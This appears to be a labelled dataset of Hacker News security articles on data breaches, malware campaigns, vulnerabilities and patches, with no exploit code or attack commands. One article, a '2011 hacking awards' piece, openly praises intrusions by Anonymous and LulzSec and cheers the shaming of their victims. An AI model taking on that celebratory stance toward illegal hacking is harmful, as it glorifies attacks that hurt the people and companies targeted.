Yahoo Admits 1 Billion Accounts Compromised in Newly Discovered Data Breach,https://thehackernews.com/2016/12/yahoo-data-breach-billion.html,"In what believe to be the largest data breach in history, Yahoo is reporting a massive data breach that disclosed personal details associated with more than 1 Billion user accounts in August 2013.

…And it's separate from the one disclosed by Yahoo! in September, in which hackers compromised as many as 500 Million user accounts in late 2014.

What's troubling is that the company has not been able to discovered how ""an unauthorized third party"" were able to steal the data associated with more than one Billion users.

The data breach officially disclosed on Wednesday actually occurred in 2013 and, just like the one in 2014, allowed the cyber crooks to obtain personal information of its users but not credit card details.

Here's what Yahoo's chief information security officer Bob Lord says the hackers obtained:
""The stolen user account information may have included names, email addresses, telephone numbers, dates of birth, hashed passwords (using MD5) and, in some cases, encrypted or unencrypted security questions and answers.""
The hashed passwords used an aging algorithm called MD5 that can easily be cracked. Moreover, in some incidents, the hack revealed unencrypted security questions and answers that would provide quick access to users accounts.

The public disclosure of this latest data breach came upon ""further analysis"" of data that law enforcement provided Yahoo in November.

Change your Password and Security Q&A Immediately

Of course, if you are one of those potentially affected users, you are strongly recommended to change your passwords and invalidate affected security questions.

Also, if you are using the same password and answers for security questions somewhere else, change them too.

Yahoo has started notifying the account holders affected by the massive data breach, requiring them to change their passwords immediately.

Both the data breaches at Yahoo! came after the company negotiated a deal to sell its core internet business to Verizon Communication Inc for $4.8 Billion.

The September disclosure of half a billion users' breach prompted Verizon to say in October that it might withdraw from the agreement to buy Yahoo.

Here's the statement from Verizon spokesman Bob Verettoni about the recent largest data breach:
""As we've said all along, we will evaluate the situation as Yahoo continues its investigation. We will review the impact of this new development before reaching any final conclusions.""
Previous data breach news had already magnified company's problems, and now when another data breach affecting a Billion users has been disclosed, would Yahoo be able to save its acquisition deal?

",Data_Breaches
Microsoft becomes latest victim of Cyber attack,https://thehackernews.com/2013/02/microsoft-becomes-latest-victim-of.html,"Microsoft has become the latest victim of to Cyber attack and confirm that small number of its computers, including some in its Mac software business unit, were infected with malware.


Microsoft added, malicious software used in a cyber attack is very similar to those experienced by Facebook and Apple recently. Microsoft gave few other details about the break-in, ""We have no evidence of customer data being affected and our investigation is ongoing.""

""During our investigation, we found a small number of computers, including some in our Mac business unit that were infected by malicious software using techniques similar to those documented by other organizations. We have no evidence of customer data being affected and our investigation is ongoing,"" Microsoft said.

""This type of cyber attack is no surprise to Microsoft and other companies that must grapple with determined and persistent adversaries,"" the company said.

Last week, Apple said its computers were attacked by the same hackers who targeted Facebook a week earlier and Facebook said it had traced a cyber attack back to China which had infiltrated employees' laptops.

",Cyber_Attack
Plugx RAT targeting government organizations in Japan using spear phishing,https://thehackernews.com/2012/09/plugx-rat-targeting-government.html,"Roland Dela Paz (Threat Researcher) at TrendMirco reported that last year a Malware Campaign to target specific users in Japan, China, and Taiwan once again on rise using new breed of Remote Access Tool (RAT) called Plugx (also known as Korplug). This new custom made version comes for less recognition and more elusiveness from security researchers.

He also mention that last year campaign used the Poison Ivy RAT, but now its Plugx take its place. ""Similar to previous Poison Ivy campaigns, it also arrives as an attachment to spear-phished emails either as an archived, bundled file or specially crafted document that exploits a vulnerability in Adobe Acrobat Reader or Microsoft Office. We've also encountered an instance of Plugx aimed at a South Korean Internet company and a U.S. engineering firm."" Roland mentioned.

The attached pdf exploits CVE-2010-2883 (with Plugx (RAT) payload connects to a command and control (C&C) server named {BLOCKED}eo.flower-show.org.

CVE-2010-2883: Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010)

This C&C server appeared to be have been used by Poison Ivy and PlugX variants. According to Roland this rat drop a file at %System Root%\Documents and Settings\All Users\SxS\bug.log which contain it own errors and then possibly it uploads back to attacker server for Auditing. This shows that , this variant is still in beta stage. Trend Micro monitoring PlugX's development and We at THE HACKER NEWS, will update you with new info when published.

",Malware
More Hacking Groups Found Exploiting SMB Flaw Weeks Before WannaCry,https://thehackernews.com/2017/05/eternalblue-smb-exploit.html,"Since the Shadow Brokers released the zero-day software vulnerabilities and hacking tools – allegedly belonged to the NSA's elite hacking team Equation Group – several hacking groups and individual hackers have started using them in their own way.

The April's data dump was believed to be the most damaging release by the Shadow Brokers till the date, as it publicly leaked lots of Windows hacking tools, including dangerous Windows SMB exploit.

After the outbreak of WannaCry last week, security researchers have identified multiple different campaigns exploiting Windows SMB vulnerability (CVE-2017-0143), called Eternalblue, which has already compromised hundreds of thousands of computers worldwide.

I have been even confirmed by multiple sources in hacking and intelligence community that there are lots of groups and individuals who are actively exploiting Eternalblue for different motives.

Moreover, the Eternalblue SMB exploit (MS17-010) has now been ported to Metasploit, a penetration testing framework that enables researchers as well as hackers to exploit this vulnerability easily.

Cybersecurity startup Secdo, an incident response platform, has recently discovered two separate hacking campaigns using the same Eternalblue SMB exploit at least three weeks before the outbreak of WannaCry global ransomware attacks.

So, it would not be surprised to find more hacking groups, state-sponsored attackers, financially motivated organized criminal gangs and gray hat hackers exploiting Eternalblue to target large organizations and individuals.

The two newly discovered hacking campaigns, one traced back to Russia and another to China, are much more advanced than WannaCry, as sophisticated hackers are leveraging Eternalblue to install backdoors, Botnet malware and exfiltrate user credentials.

According to Secdo, these attacks might pose a much bigger risk than WannaCry, because even if companies block WannaCry and patch the SMB Windows flaw, ""a backdoor may persist and compromised credentials may be used to regain access"" to the affected systems.

Both campaigns are using a similar attack flow, wherein attackers initially infect the target machine with malware via different attack vectors, then uses Eternalblue to infect other devices in the same network and finally inject a stealthy thread inside legitimate applications, which is then used to achieve persistence by either deploying a backdoor or exfiltrating login credentials.

Russian Campaign: Credential-Theft Attacks
Secdo discovered that attackers are injecting a malicious thread into the 'lsass.exe' process using Eternalblue.

Once infected, the thread began downloading multiple malicious modules and then access SQLite DLL to retrieve users' saved login credentials from Mozilla's FireFox browser.

The stolen credentials are then sent to the attacker's command-and-control server via the encrypted Tor network in order to hide the real location of the C&C server.

Once sent, a ransomware variant of CRY128, which is a member of the infamous Crypton ransomware family, starts running in the memory and encrypts all the documents on the affected system.
According to Secdo, ""at least 5 of the most popular Next Gen AV vendors and Anti-Malware vendors were running on the endpoints and were unable to detect and stop this attack. This is most likely due to the thread only nature of the attack.""
This attack has been traced back to late April, that's three weeks prior to the WannaCry outbreak. The attack originates from Russia-based IP address (77.72.84.11), but that doesn't mean the hackers are Russian.

Chinese Campaign: Installs Rootkit and DDoS Botnet
This campaign was also seen in late April.

Using Eternalblue, a malicious thread is spawned inside of the lsass.exe process, similar to the above-mentioned credential theft attack.

But only instead of remaining purely in-memory, the initial payload then connects back to a Chinese command-and-control server on port 998 (117.21.191.69) and downloads a known rootkit backdoor, which is based on 'Agony rootkit' to make persistent.

Once installed, the payload installs a Chinese Botnet malware, equipped with DDoS attack functionality, on the affected machine.
""These attacks demonstrate that many endpoints may still be compromised despite having installed the latest security patch,"" Secdo concluded.
""We highly recommend using a solution that has the ability to record events at the thread level in order to hunt, mitigate and assess potential damage as soon as possible.""
These malicious campaigns went unnoticed for weeks because unlike WannaCry, the purpose of these attacks was different, holding affected systems for a long time by achieving persistent and stealing credentials to regain access.

The recent example is of ""Adylkuzz,"" a recently-discovered stealthy cryptocurrency-mining malware that was also using Windows SMB vulnerability at least two weeks before the outbreak of WannaCry ransomware attacks.

These attacks are just the beginning, as attacks like WannaCry have not been completely stopped and given the broad impact of the NSA exploits, hackers and cyber criminals are curiously waiting for the next Shadow Brokers release, which promised to leak more zero-days and exploits from next month.

Since the attackers are currently waiting for new zero-days to exploit, there is very little users can do to protect themselves from the upcoming cyber attacks.

You can follow some basic security tips that I have mentioned in my previous article about how to disable SMB and prevent your devices from getting hacked.

",Malware
Faulty Patch for Oracle WebLogic Flaw Opens Updated Servers to Hackers Again,https://thehackernews.com/2018/04/oracle-weblogic-rce-exploit.html,"Earlier this month, Oracle patched a highly critical Java deserialization remote code execution vulnerability in its WebLogic Server component of Fusion Middleware that could allow attackers to easily gain complete control of a vulnerable server.

However, a security researcher, who operates through the Twitter handle @pyn3rd and claims to be part of the Alibaba security team, has now found a way using which attackers can bypass the security patch and exploit the WebLogic vulnerability once again.

WebLogic Server acts as a middle layer between the front end user interface and the backend database of a multi-tier enterprise application. It provides a complete set of services for all components and handles details of the application behavior automatically.

Initially discovered in November last year by Liao Xinxi of NSFOCUS security team, the Oracle WebLogic Server flaw (CVE-2018-2628) can be exploited with network access over TCP port 7001.
If exploited successfully, the flaw could allow a remote attacker to completely take over a vulnerable Oracle WebLogic Server. The vulnerability affects versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3.

Since a proof-of-concept (PoC) exploit for the original Oracle WebLogic Server vulnerability has already been made public on Github and someone has just bypassed the patch as well, your up-to-date services are again at risk of being hacked.

Although @pyn3rd has only released a short GIF (video) as a proof-of-concept (PoC) instead of releasing full bypass code or any technical details, it would hardly take a few hours or days for skilled hackers to figure out a way to achieve same.

Currently, it is unclear when Oracle would release a new security update to address this issue that has re-opened CVE-2018-2628 flaw.

In order to be at least one-step safer, it is still advisable to install April patch update released by Oracle, if you haven't yet because attackers have already started scanning the Internet for vulnerable WebLogic servers.

",Cyber_Attack
The Hacker News Hacking Awards : Best of Year 2011,https://thehackernews.com/2012/01/hacker-news-hacking-awards-best-of-year.html,"The Hacker News Hacking Awards : Best of Year 2011

2011 has been labeled the ""Year of the Hack"" or ""Epic #Fail 2011"". Hacking has become much easier over the years, which is why 2011 had a lot of hacking for good and for bad. Hackers are coming up with tools as well as finding new methods for hacking faster then companies can increase their security. Every year there are always forward advancements in the tools and programs that can be used by the hackers.

At the end of year 2011 we decided to give ""The Hacker News Awards 2011"". The Hacker News Awards will be an annual awards ceremony celebrating the achievements and failures of security researchers and the Hacking community. The THN Award is judged by a panel of respected security researchers and Editors at The Hacker News.

Year 2011 came to an end following Operation Payback and Antisec, which targeted companies refusing to accept payments to WikiLeak's, such as, Visa and Amazon. Those attacks were carried out by Anonymous & Lulzsec. This year corporations, international agencies, and governments are now experiencing a flood of what is called Advanced Persistent Threats. APTs refer to a group of well-funded, highly capable hackers pursuing a specific agenda, often organized by a nation or State. Sony somehow pissed off the hacking group LulzSec, which downloaded information for millions of users, while posting to Sony's system: ""LulzSec was here you sexy bastards! Stupid Sony, so very stupid.""

The Hacker News Awards Categories & Winners
1.) Person of the Year : Julian Paul Assange


He is, of course, the lean, tall, and pale 39-year-old Australian master hacker at the white-hot center of the whistle-blowing website WikiLeaks and, after revealing thousands of secret Afghan battlefield reports this week, the subject of investigation by U.S. authorities. 2011 could also be called the ""Age of WikiLeaks"". Assange described himself in a private conversation as ""the heart and soul of this organisation, its founder, philosopher, spokesperson, original coder, organizer, financier, and all the rest"". Wikileaks celebrate its 5th Birthday on 4th October 2011, for being only 5 years old they have done a remarkable and outstanding job of serving the people. The one thing most governments in the world have left off their agenda's. Keep up the good work Wikileaks and we stand in support and behind you.

2.) Best Hacking Group of the Year 2011 : ANONYMOUS

DECK THE HALLS AND BATTON DOWN THE SECURITY SYSTEMS…..THEY AIN'T GOIN AWAY!
Anonymous hackers have gained world wide attention because of their hacktivism. Anonymous is not an organization. Anonymous has no leaders, no gurus, no ideologists. Anonymous has performed many operations like Attack on HBGary Federal, 2011 Bank of America document release, Operation Sony, Operation Anti-Security and lots more. Complete Coverage on all Anonymous related news is here.

3.) Best Whitehat hacker of the Year 2011 : CHARLIE MILLER

CHARLIE SHOWS TUNA ISN'T THE ONLY THING TO PROFIT FROM!
Charlie Miller is a former hacker who has become an information security consultant now working with the Department of Defense (DOD) and helping out with cyber security. He spent five years working for the National Security Agency. Miller demonstrated his hacks publicly on products manufactured by Apple. In 2008 he won a $10,000 cash prize at the hacker conference Pwn2Own in Vancouver Canada for being the first to find a critical bug in the ultrathin MacBook Air. The next year, he won $5,000 for cracking Safari. In 2009 he also demonstrated an SMS processing vulnerability that allowed for complete compromise of the Apple iPhone and denial-of-service attacks on other phones. In 2011 he found a security hole in an iPhone's or iPad's security. Charlie Miller gets a kick of out defeating Apple's security mechanisms, using his hacking skills to break into Macbooks and iPhones.

4.) Best Leak of the year 2011 : HBGARY FEDERAL EMAILS LEAKED BY ANONYMOUS

GEE GREG, YOU THOUGHT WE JUST PLAYED WITH MATEL COMPUTERS! NOT!!!!!
HBGary Federal who was helping the federal government track down cyber activists was itself hacked by the very same activists! Gotta love these guys. Through an elegant but by the numbers social engineering effort those fun fellas at Anonymous, hacked and publicly shamed poor little HBGary Federal. Massive reputation damage and tons of turn-over in executive leadership resulted. Anonymous released 27,000 emails from the server of Greg Hoglund, chief executive of the software security firm HBGary. They posted 50,000 emails of Aaron Barr from the CEO of its sister organization, HBGary Federal. They obtained the emails by hacking into Hoglund's email.

5.) Best Defacement of the Year 2011 : DNS HIJACKING OF HIGH PROFILE SITES BY TURKGUVENLIGI

TURKGUVENLIGI……..THE GIFT THAT KEEPS ON GIVING!!
Turkguvenligi also known by the name ""TG Hacker' hacked some very high profile sites using DNS Hijacking. Sites included, Theregister.co.uk , Vodafone, Telegraph, Acer, National Geographic. He diverted visitors to a page declaring it was ""World Hackers Day"". TurkGuvenligi has claimed credit for dozens of similar defacement attacks since late 2008.

6.) Craziest Hack of the year: INMOTION HOSTING (Over 700,000 Websites Hacked)

BEWARE OF TIGER'S IN MOTION…….COMING TO YOUR WEBSITE SOON!
InMotion's data center got hit by the hacker that calls himself TiGER-M@TE, leaving a few hundred thousand website owners with nonfunctional pages and 700,000 web Pages defaced . He is also the one responsible for the attack carried out on Google Bangladesh. In our humble opinion, this is the craziest hack of the year.

7.) Malware of Year 2011 : DuQu

ALAH CAN'T HELP IRAN…….NOT WITH DuQu ON THE LOOSE!
This year was really hot on malware discovery and analysis. DuQu became the first known network modular rootkit. DuQu has flexibility for hackers to help remove and add new features quickly and without special effort. Some experts have doubts on relation between the Stuxnet and DuQu creators as they both aim for stealing and collecting data related to Iranian agencies activities.

8.) Best Hacking Tool of the Year 2011 - ANTI (Android Network Toolkit)

HEY CYBER WORLD, STICK THIS IN YOUR TOOL BELT!
ANTI is the smallest but most powerful hacking tool developed by the company Zimperium. Anti-Android Network Toolkit is an app that uses WiFi scanning tools to scan networks. You can scan a network that you have the phone connected to or you can scan any other nearby open networks. Security admins can use Anti to test network host vulnerabilities for DoS attacks and other threats. Features : OS detection, traceroute, port connect, Wi-Fi monitor, HTTP server, man-in-the-middle threats, remote exploits, Password Cracker and DoS attack and plugins.

9.) High Profile Hacker of the Year 2011 : LULZSEC

LULZSEC KEEPS US LAUGHING ALL THROUGH 2011!
Lulz Security, commonly abbreviated as LulzSec, is a computer hacker group that claims responsibility for several high profile attacks, including the compromise of user accounts from Sony Pictures in 2011. The group also claimed responsibility for taking the CIA website offline. It has gained attention due to its high profile targets and the sarcastic messages it has posted in the aftermath of its attacks. The group's first recorded attack was against Fox.com's website. LulzSec does not appear to hack for financial profit. The group's claimed main motivation is to have fun by causing mayhem. They do things ""for the lulz"" and focus on the possible comedic and entertainment value of attacking targets.

10.) Biggest Victim of the Year 2011 : SONY

SONY SHINES AS THE BIGGEST VICTIM OF ALL!
Sony gets the Most Epic fail award so we want to give the Best Victim of the year award to Sony. Almost all Sony's websites including Indonesia, Japan, Thailand, Greece, Canada, Netherlands, Europe, Russia, Portugal & Sony PlayStation Network were Hacked. Defacement of various domains of Sony and Personal information of 77 million people, including customer names, addresses, e-mail addresses, birthdays, PlayStation Network and Qriocity passwords, user names, online handles and possibly credit cards were exposed. Sony expects the hack of the PlayStation Network and cost at ¥14 billion (US$170 million) .

11.) Most Spamy Social Network : FACEBOOK

FACEBOOK OUTTA FACE IT……..IT'S A RIPE TARGET FOR 2012
Social network sites such as Facebook, Google+ or Twitter are gaining popularity. But the 'Web 2.0' presents new dangers. The wave of pornographic and violent images, Spam messages, Virus and various Worms that flooded Facebook over the past year, make it the Most Spamy Social Network of the Year. Social media is the new frontier for all of this spam. The attack tricked users into clicking on a story they thought would bring them a related video or picture. Instead, Facebook members were taken to websites that attacked their browsers with malicious software and posted violent and disturbing images to their news feeds.

12.) Most Vulnerable Mobile OS of Year 2011 : ANDROIDS

MALWARE GETS A FREE RIDE ON MOBILE DEVICES!
Mobile devices are seeing a record number of Malware attacks, with Androids leading the way as the mobile operating systems are the most likely to be targeted. Android's vulnerability to malicious content including third-party apps, SMS Trojan viruses and unexpected bugs distributed through free Wi-Fi connections has risen by 45% in 2011. This year we have seen record-breaking numbers of Malware, especially on mobile devices, where the uptake is in direct correlation to popularity.

13.) Best Hacking Book of the Year: BACKTRACK 5 WIRELESS PENETRATION TESTING

ATTENTION CLASS, VIVEK RAMACHANDRAN HAS ENTERED THE ROOM!
Vivek Ramachandran is a world renowned security researcher and evangelist, who is well known for his discovery of the Wireless Caffe Latte attack, and author of the most amazing book ""BackTrack 5 Wireless Penetration Testing. This book is written completely from a practical perspective. The book wastes no time in delving into a hands-on session with wireless networking. All the way through there are lots of screengrabs, so you can see what should be happening on your screen.

14.) Most Innovative Hack : DIGITAL CERTIFICATES SPOOFING BY COMODO HACKER

COMODOHACKER BRINGS OUT THE DRAGON IN CYBER SECURITY CONCERNS
The name ""Comodohacker"" gets the most Innovative Hacker award from THN for the breach of the Internet's trust system arising from an outmoded method for assuring that a Web site is authentic. A breach that let a hacker spoof digital certificates for Google.com, Yahoo.com, and other Web sites is prompting browser makers to rethink security. A 21-year-old Iranian patriot took credit saying he was protesting US policy and retaliating against the US for its alleged involvement with last year's Stuxnet, which experts say was designed to target Iran's nuclear program.


15.) Biggest hack of the Year 2011 : SONY PLAYSTATION

SONY, SONY, WE PLAY YOUR LEAKS ON OUR OWN STATIONS!
The PlayStation Network is an online multiplayer gaming and digital media delivery service owned and run by Sony Computer Entertainment .On April 26, 2011 Sony Playstation announced its network and Qriocity had both been compromised by hackers between April 17 and April 19 allowing access to 70 million user accounts. Get full coverage on this News.
""TRUTH IS THE MOST POWERFUL WEAPON AGAINST INJUSTICE""
For additional information, please contact us at: thehackernews@gmail.com

",Malware
#Enter_at_your_own_Risk Cyber Awareness Magazine Issue January edition Released,https://thehackernews.com/2012/01/enteratyourownrisk-cyber-awareness.html,"#Enter_at_your_own_Risk Cyber Awareness Magazine Issue January edition Released
As we promised last month, The Hacker News along with Security-FAQs, SecManiac, Korben, Security-Shell, SecTechno have come together to bring you an outstanding array of internet security and hacking information. You can Download Here Special Magazine January 2012 Edition. Previous Editions available Here.

Sit back, read and enjoy :
Lee Ives from London, England talk about internet security for your children and what to watch out for and how to protect them and yourself. Security Expert, Pierluigi Paganini takes us on a visit to China and makes us wonder just how influential China's hacking is on world internet security. Read and decide for yourself.

Get political emotions warmed up reading ""Anatomy of a Revolution"" by our own editorial staff. Mourad Ben Lakhoua takes us on a scary journey of what new Malwares are lurking about and what to expect in the future.

Avram Marius Gabriel, who works under the pseudonym ""d3v1l"", gives us a look at an emerging technical society as like minded techies in Romania come together to share and learn. Get mad and take action as you read how your internet privacy and freedoms are about to be taken away in our editor Patti Galle's article on SOPA…….coming to your personal rights soon.

Manuel Dorne, administrator from Korben gives us a look at FIREFOX security tools. A must for any techie interested in ""how to."" And finally, a good read about politics in general in ""No Turning Back"" by our editorial staff.

Welcome to the January Special Edition…..let us know what you think, learn, and hope for! Connect With us on Google+ , Twitter and Facebook.

",Malware
VK.com HACKED! 100 Million Clear Text Passwords Leaked Online,https://thehackernews.com/2016/06/vk-com-data-breach.html,"Another day, another Data Breach! Now, Russia's biggest social networking site VK.com is the latest in the line of historical data breaches targeting social networking websites.

The same hacker who previously sold data dumps from MySpace, Tumblr, LinkedIn, and Fling.com, is now selling more than 100 Million VK.com records for just 1 Bitcoin (approx. US$580).

The database contains information like full names (first names and last names), email addresses, plain-text passwords, location information, phone numbers and, in some cases, secondary email addresses.

Yes, plain-text passwords. According to Peace, the passwords were already in plain text when the VK.com was hacked. So, if the site still stores passwords in cleartext today, this could be a real security risk for its users.

The data breach has initially been reported by LeakedSource search engine, which received portions of the database from one of the people who bought it.

The company has already analyzed the contents of the data dump and has added it to its service. So, you can use its search engine to check if you were compromised.

Russia's Facebook VK.com is said to be the largest social networking site in Europe with more than 350 Million users. So, the hack is believed to be the biggest hack the site has ever experienced.

The validity of the credentials exposed in the hack is thought to have been stolen in late-2012 or early 2013 when VK.com had just under 190 Million users.

All the LinkedIn, MySpace, and Tumblr data breaches are also believed to have taken place during the same duration, between 2012 and 2013, when many websites were not practicing appropriate Web security policies, like hashing and salting passwords.
The hacker, named Peace (or Peace_of_mind), is selling the dataset -- which is over 17 gigabytes in size -- on The Real Deal dark web marketplace for a mere 1 Bitcoin.

According to LeakedSource, the most common password used by VK.com users was ""123456,"" followed by ""qwerty"" and ""123123,"" which are incredibly easy to predict. Also, the vast majority of email addresses came from mail.ru.

Like other data breaches, I strongly suggest you change your password immediately, especially if you use the same password for other websites.

",Data_Breaches
Office based Trojan threat for Mac OS X by Chinese hackers,https://thehackernews.com/2012/03/office-based-trojan-threat-for-mac-os-x.html,"Office based Trojan threat for Mac OS X by Chinese hackers

Security company ESET watches the newly found Trojan for OS X establish connections and receive commands to steal information. Earlier this month, researchers from AlienVault and Intego reported a new malware attack targeting Tibetan NGOs (Non-Governmental Organizations).

The attack consisted of luring the victim into visiting a malicious website, which then would drop a malicious payload on the target's computer using Java vulnerability CVE-2011-3544 and execute it.

During installation on a Windows system, the payload deployed was a variant of Gh0st RAT (Remote Access Trojan). On the Mac though, a new payload, dubbed OSX/Lamadai.A, was used.

ESET observed that once the Trojan installs it will establish a connection to a hard-coded remote C&C server located in China, and will wait in ""busy"" loop where it attempts to maintain its connection with the server.

The server can then be used to issue commands to the infected system for uploading or downloading files, or execute scripts and commands the basics for allowing someone to remotely target a system, browse around on it, and steal information.

The command-and-control domain involved in the attack is located in China and the attack exploits a three-year-old vulnerability which no one could be bothered to fix.

",Malware
Update Your iOS Devices Now — 3 Actively Exploited 0-Days Discovered,https://thehackernews.com/2020/11/update-your-ios-devices-now-3-actively.html,"Apple on Thursday released multiple security updates to patch three zero-day vulnerabilities that were revealed as being actively exploited in the wild.
Rolled out as part of its iOS, iPadOS, macOS, and watchOS updates, the flaws reside in the FontParser component and the kernel, allowing adversaries to remotely execute arbitrary code and run malicious programs with kernel-level privileges.
The zero-days were discovered and reported to Apple by Google's Project Zero security team.
""Apple is aware of reports that an exploit for this issue exists in the wild,"" the iPhone maker said of the three zero-days without giving any additional details so as to allow a vast majority of users to install the updates.
The list of impacted devices includes iPhone 5s and later, iPod touch 6th and 7th generation, iPad Air, iPad mini 2 and later, and Apple Watch Series 1 and later.
The fixes are available in versions iOS 12.4.9 and 14.2, iPadOS 14.2, watchOS 5.3.9, 6.2.9, and 7.1, and as a supplemental update for macOS Catalina 10.15.7.
According to Apple's security bulletin, the flaws are:
CVE-2020-27930: A memory corruption issue in the FontParser library that allows for remote code execution when processing a maliciously crafted font.
CVE-2020-27950: A memory initialization issue that allows a malicious application to execute arbitrary code with kernel privileges.
CVE-2020-27932: A type-confusion issue that makes it possible for a malicious application to disclose kernel memory.
""Targeted exploitation in the wild similar to the other recently reported 0days,"" said Shane Huntley, Director of Google's Threat Analysis Group. ""Not related to any election targeting.""
The disclosure is the latest in the string of zero-days Project Zero has reported since October 20. First came the Chrome zero-day in Freetype font rendering library (CVE-2020-15999), then a Windows zero-day (CVE-2020-17087), followed by two more in Chrome and its Android variant (CVE-2020-16009 and CVE-2020-16010).
A patch for the Windows zero-day is expected to be released on November 10 as part of this month's Patch Tuesday.
While more details are awaited on whether the zero-days were abused by the same threat actor, it's recommended that users update their devices to the latest versions to mitigate the risk associated with the flaws.

",Vulnerability
iOS apps vulnerable to HTTP Request Hijacking attacks over WiFi,https://thehackernews.com/2013/10/ios-apps-vulnerable-to-http-request_29.html,"Security researchers Adi Sharabani and Yair Amit have disclosed details about a widespread vulnerability in iOS apps, that could allow hackers to force the apps to send and receive data from the hackers' own servers rather than the legitimate ones they were coded to connect to.

Speaking about the issue at RSA Conference Europe 2013 in Amsterdam, researchers have provided details on this vulnerability, which stems from a commonly used approach to URL caching.

Demonstration shows that insecure public networks can also provide stealth access to our iOS apps to potential attackers using HTTP request hijacking methods.
The researchers put together a short video demonstrating, in which they use what is called a 301 directive to redirect the traffic flow from an app to an app maker's server to the attacker's server.

There are two limitations also, that the attacker needs to be physically near the victim for the initial poisoning to perform this attack and the flaw works only against HTTP traffic.

""A victim walks into Starbucks, connects to the Wi-Fi and uses her favorite apps,"" explains an example. ""Everything looks and behaves as normal, however an attacker is sitting at a nearby table and performs a silent HRH attack on her apps. The next day, she wakes up at home and logs in to read the news, but she's now reading the attacker's news!""

They estimate that at least 10,000 iOS apps in the Apple App Store are vulnerable to the hack. As a result, apps that display news, stock quotes, social media content, or even some online banking details can be manipulated to display fraudulent information and intercept data sent by the end user.

Victims can uninstall apps to scrub their devices clean, and Skycure has released app code that prevents the web caching from taking place. It may be a while until developers can get this fix implemented, so connect to those public networks with extreme caution.
Swati Khandelwal - Working at 'The Hacker News'. Social Media Lover and Gadgets Girl. Speaker, Cyber Security Expert and Technical Writer.(Google+ Profile)

",Vulnerability
Remotely Exploitable Flaw Puts Millions of Internet-Connected Devices at Risk,https://thehackernews.com/2017/07/gsoap-iot-device-hacking.html,"Security researchers have discovered a critical remotely exploitable vulnerability in an open-source software development library used by major manufacturers of the Internet-of-Thing devices that eventually left millions of devices vulnerable to hacking.

The vulnerability (CVE-2017-9765), discovered by researchers at the IoT-focused security firm Senrio, resides in the software development library called gSOAP toolkit (Simple Object Access Protocol) — an advanced C/C++ auto-coding tool for developing XML Web services and XML application.

Dubbed ""Devil's Ivy,"" the stack buffer overflow vulnerability allows a remote attacker to crash the SOAP WebServices daemon and could be exploited to execute arbitrary code on the vulnerable devices.
The Devil's Ivy vulnerability was discovered by researchers while analysing an Internet-connected security camera manufactured by Axis Communications.
""When exploited, it allows an attacker to remotely access a video feed or deny the owner access to the feed,"" researchers say.
""Since these cameras are meant to secure something, like a bank lobby, this could lead to collection of sensitive information or prevent a crime from being observed or recorded.""

Axis confirmed the vulnerability that exists in almost all of its 250 camera models (you can find the complete list of affected camera models here) and has quickly released patched firmware updates on July 6th to address the vulnerability, prompting partners and customers to upgrade as soon as possible.

However, researchers believe that their exploit would work on internet-connected devices from other vendors as well, as the affected software is used by Canon, Siemens, Cisco, Hitachi, and many others.

Axis immediately informed Genivia, the company that maintains gSOAP, about the vulnerability and Genivia released a patch on June 21, 2017.

The company also reached out to electronics industry consortium ONVIF to ensure all of its members, including Canon, Cisco, and Siemens, those who make use of gSOAP become aware of the issue and can develop patches to fix the security hole.

Internet of Things (IoT) devices has always been the weakest link and, therefore, an easy entry for hackers to get into secured networks. So it is always advisable to keep your Internet-connected devices updated and away from the public Internet.

",Vulnerability
"Security firm Bit9 hacked, Stolen Digital Certs Used To Sign Malware",https://thehackernews.com/2013/02/security-firm-bit9-hacked-stolen.html,"Bit9 disclosed Friday that hackers had stolen digital code signing certificates from its network and have utilized it to sign malware. Bit9, a company that provides software and network security services to the U.S. government and at least 30 Fortune 100 firms.

""As a result, a malicious third party was able to illegally gain temporary access to one of our digital code-signing certificates that they then used to illegitimately sign malware,"" Bit9 Chief Executive Patrick Morley said in a blog post.

The attackers then sent signed malware to at least three of Bit9's customers, although Bit9 isn't saying which customers were affected or to what extent.

""Since we discovered this issue, we have been working closely with all of our customers to ensure they are no longer vulnerable to malware associated with the affected certificate."" and company said it has resolved the issue.

It is not the first time that hackers have breached a security firm as part of a sophisticated scheme to access data at one of their customers. EMC Corp's RSA Security division disclosed that it was breached in 2011.

",Cyber_Attack
Apple iOS 7 Updates Silently Remove Encryption for Email Attachments,https://thehackernews.com/2014/05/ios-apple-iphone-data-protection-email-attachment.html,"There is no question that Mobile devices have become a staple in everyday living around the world. But have you ever asked yourself, How Secure are the Android, iPhone or any other Smart devices? It is really important for us to think about the Security and Privacy of our Data stored in Smartphones.

In June 2010, Apple introduced 'Data protection' feature in iOS 4.0 devices that offer hardware encryption for all the data stored on the devices. ""Data protection enhances the built-in hardware encryption by protecting the hardware encryption keys with your passcode. This provides an additional layer of protection for your email messages attachments, and third-party applications."" Apple claimed in an old announcement.

But unexpectedly, In last few updates Apple has silently removed the email attachment encryption from data protection mechanisms. Noticed by Security Researcher - Andreas Kurtz, claims that since at least version 7.0.4 and including the current version 7.1.1, does not encrypt email attachments anymore.
""I verified this issue by restoring an iPhone 4 (GSM) device to the most recent iOS versions (7.1 and 7.1.1) and setting up an IMAP email account1, which provided me with some test emails and attachments. Afterwards, I shut down the device and accessed the file system using well-known techniques (DFU mode, custom ramdisk, SSH over usbmux). Finally, I mounted the iOS data partition and navigated to the actual email folder. Within this folder, I found all attachments accessible without any encryption/restriction"" he explained in a blog post.
That means, email attachments are not encrypted on the iOS devices by a unique 256-bit crypto engine, and if someone else gets access to your device, he will be able to get access to your private content.
He also tested the encryption mechanism with iOS forensics tool called 'iPhone Data Protection' for POP or ActiveSync email accounts, and verified that iOS latest versions are not able to encrypt email attachments.

At this point, even we can't answer that why Apple removed the encryption for Email attachments, but this disclosure is definitely right now hitting my mind with more controversial questions about relationship with Apple and NSA.

Andreas Kurtz has already reported the issue to Apple Security team and they replied that Apple were aware of it. But I guess Apple has no plan to patch the issue in upcoming iOS updates, as they have not indicated anything related in email conversion with Kurtz.

",Vulnerability
